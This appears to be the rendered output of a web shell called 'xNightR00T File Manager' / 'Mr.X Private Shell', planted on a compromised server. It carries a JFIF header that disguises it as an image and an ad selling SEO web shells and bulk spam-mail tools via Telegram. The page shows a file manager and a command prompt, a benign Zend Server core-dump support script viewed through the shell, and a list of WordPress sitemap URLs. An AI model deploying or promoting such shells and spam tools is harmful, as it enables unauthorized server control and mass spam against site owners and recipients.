xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/bin/bash
ZSST_PLUGIN_NAME="Configure Zend Server Core Dumps Creation"


if [ $NONSU ]; then
	echo "You need to be superuser to perform this operation."
	exit 1
fi

. $ZCE_PREFIX/share/support_tool/st_funcs.lib

if [ "$2" = "--auto" ]; then
	AUTOMATIC="-y"
elif [ "$2" = "--off" ]; then
	echo "Disabling core dumps generation"
	if [ "$WEB_SRV" = "apache" ]; then
		rm -f /etc/httpd/conf.d/zend_coredump.conf > /dev/null 2>&1
		rm -f /etc/apache2/conf.d/zend_coredump.conf > /dev/null 2>&1
		rm -f /etc/apache2/conf-enabled/zend_coredump.conf > /dev/null 2>&1
		rm -f /lib/systemd/system/httpd.service.d/zend-core-dump.conf > /dev/null 2>&1
		rm -f /lib/systemd/system/apache2.service.d/zend-core-dump.conf > /dev/null 2>&1
	elif [ "$WEB_SRV" = "nginx" ]; then
		rm -f /lib/systemd/system/nginx.service.d/zend-core-dump.conf > /dev/null 2>&1
	fi
	if systemctl list-units foo.bar.dummy > /dev/null  2>&1; then
		systemctl daemon-reload
	fi
	ocp=$(head -1 $ZCE_PREFIX/var/backups/original_core_pattern)
	if [ "$ocp" != "" ]; then
		echo "$ocp" > /proc/sys/kernel/core_pattern
	fi

	cancelMSG=$(echo -e "\nZend Server needs to be restarted to disable core dumps creation:\n\n	# ulimit -c 0\n	   # $ZCE_PREFIX/bin/zendctl.sh restart\n \n \n ")
	yesnocommand "Confirm restart of Zend Server" "$cancelMSG" "$ZCE_PREFIX/bin/zendctl.sh restart"

	exit 0
elif [ "$2" != "" ]; then
	AUTOMATIC=""
	RELEASE="$2"
elif [ "$3" != "" ]; then
	AUTOMATIC=""
	RELEASE="$3"
else
	AUTOMATIC=""
	RELEASE=""
fi

# otherrepo "/etc/apt/sources.list.d/zend.list" "7.0.0_update3"
function otherrepo
{
	if [ "$2" = "" ]; then
		revert="echo"
		return
	fi

	if [ "$2" = "revertBAK" ]; then
		echo
		mv -f "$1.BAK" "$1"
		return
	fi

	if [ ! -f "$1" ]; then
		echo "The regular repository file $1 could not be found. Exiting..."
		exit 1
	fi

	mv "$1" "$1.BAK"
	sed -r "s@(http://repos\.zend\.com/zend-server)/[0-9a-z_.]+@\1/$2@g" "$1.BAK" > "$1"
	revert="otherrepo $1 revertBAK"
}

function set_core_dump_confs {
	if [ "$WEB_SRV" = "apache" ]; then
		if [ "$1" = "apache2" ]; then
			if [ -d "/etc/apache2/conf.d" ]; then
				apacheConf="conf.d"
			elif [ -d "/etc/apache2/conf-enabled" ]; then
				apacheConf="conf-enabled"
			fi
		else
			# $1 == httpd
			apacheConf="conf.d"
		fi
		echo "CoreDumpDirectory $ZCE_PREFIX/var/core" > /etc/$1/$apacheConf/zend_coredump.conf
	fi
	if systemctl list-units foo.bar.dummy > /dev/null  2>&1; then
		mkdir -p /lib/systemd/system/$1.service.d/
		echo -e "[Service]\nLimitCORE=infinity" > /lib/systemd/system/$1.service.d/zend-core-dump.conf
		systemctl daemon-reload
	fi
}


mkdir $ZCE_PREFIX/var/core
chmod 777 $ZCE_PREFIX/var/core

PHP_VER=`$ZCE_PREFIX/bin/php -nr "echo PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION;"`

downloadtofile "https://raw.githubusercontent.com/php/php-src/PHP-$PHP_VER/.gdbinit" "$ZCE_PREFIX/var/core/.gdbinit_php"
cat > $ZCE_PREFIX/var/core/.gdbcommands <<EOC
backtrace
backtrace full
source .gdbinit_php
zbacktrace
EOC

cp $ZCE_PREFIX/share/support_tool/gdb_adv.sh $ZCE_PREFIX/var/core
chmod a+x $ZCE_PREFIX/var/core/gdb_adv.sh

# not including 'php-$PHP_VER-fcgi-zend-server-dbg' because it seems to cause bogus conflict in YUM
DBG_COMMON="gdb zend-server-dbg php-bin-zend-server-dbg"

if command -v apt-get 2> /dev/null; then
	REPOFILE="/etc/apt/sources.list.d/zend.list"
	otherrepo $REPOFILE $RELEASE
	DBG_PHP_BIN="php-fpm-zend-server-dbg"
	if [ "$WEB_SRV" = "apache" ]; then
		SAPI=$(grep -E '^\s*zend.php_sapi\s*=' $ZCE_PREFIX/etc/ZendGlobalDirectives.ini | sed 's@ @@g' | cut -d '=' -f 2)
		set_core_dump_confs apache2
		if [ "$SAPI" != "fpm" ]; then
			DBG_PHP_BIN="libapache2-mod-php-zend-server-dbg"
		fi
	elif [ "$WEB_SRV" = "nginx" ]; then
		set_core_dump_confs nginx
	fi
	apt-get update
	apt-get $AUTOMATIC install $DBG_COMMON $DBG_PHP_BIN

elif command -v yum 2> /dev/null; then
	REPOFILE="/etc/yum.repos.d/zend.repo"
	otherrepo $REPOFILE $RELEASE
	DBG_PHP_BIN="php-fpm-zend-server-dbg"
	if [ "$WEB_SRV" = "apache" ]; then
		SAPI=$(grep -E '^\s*zend.php_sapi' $ZCE_PREFIX/etc/ZendGlobalDirectives.ini | sed 's@ @@g' | cut -d '=' -f 2)
		set_core_dump_confs httpd
		if [ "$SAPI" != "fpm" ]; then
			DBG_PHP_BIN="mod-php-apache2-zend-server-dbg"
		fi
	elif [ "$WEB_SRV" = "nginx" ]; then
		set_core_dump_confs nginx
	fi
	yum clean all
	yum $AUTOMATIC install $DBG_COMMON $DBG_PHP_BIN

else
	echo
	echo "Can't determine which package manager (aptitude, apt-get or yum) should be used for debug symbols installation"
	exit 1
fi


$revert


cat /proc/sys/kernel/core_pattern >> $ZCE_PREFIX/var/backups/original_core_pattern
echo "$ZCE_PREFIX/var/core/core.dump.%p" > /proc/sys/kernel/core_pattern


ulimit -c unlimited

cancelMSG=$(echo -e "\nZend Server needs to be restarted to enable core dumps creation:\n\n	   # ulimit -c unlimited\n	  # $ZCE_PREFIX/bin/zendctl.sh restart\n \n \n ")
yesnocommand "Confirm restart of Zend Server" "$cancelMSG" "$ZCE_PREFIX/bin/zendctl.sh restart"


cat <<EOT


Zend Server and Apache/Nginx are prepared to save core dumps of crashing processes.
Reproduce the crash and check that core dump files have been placed in

$ZCE_PREFIX/var/core


If you want to disable core dump creation, run this command with the '--off' parameter:

$ZCE_PREFIX/bin/support_tool.sh --core-dump --off


If you need to restart Zend Server, but keep it in core dump mode, set the proper limit before Zend Server restart:

ulimit -c unlimited
$ZCE_PREFIX/bin/zendctl.sh restart


EOT

Filemanager

Name Type Size Permission Actions
clean_notifications.sh File 713 B 0775
core_dump.sh File 5.32 KB 0775
simple_auth.sh File 1.25 KB 0775
update.sh File 1.51 KB 0775
zray_off.sh File 699 B 0775
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml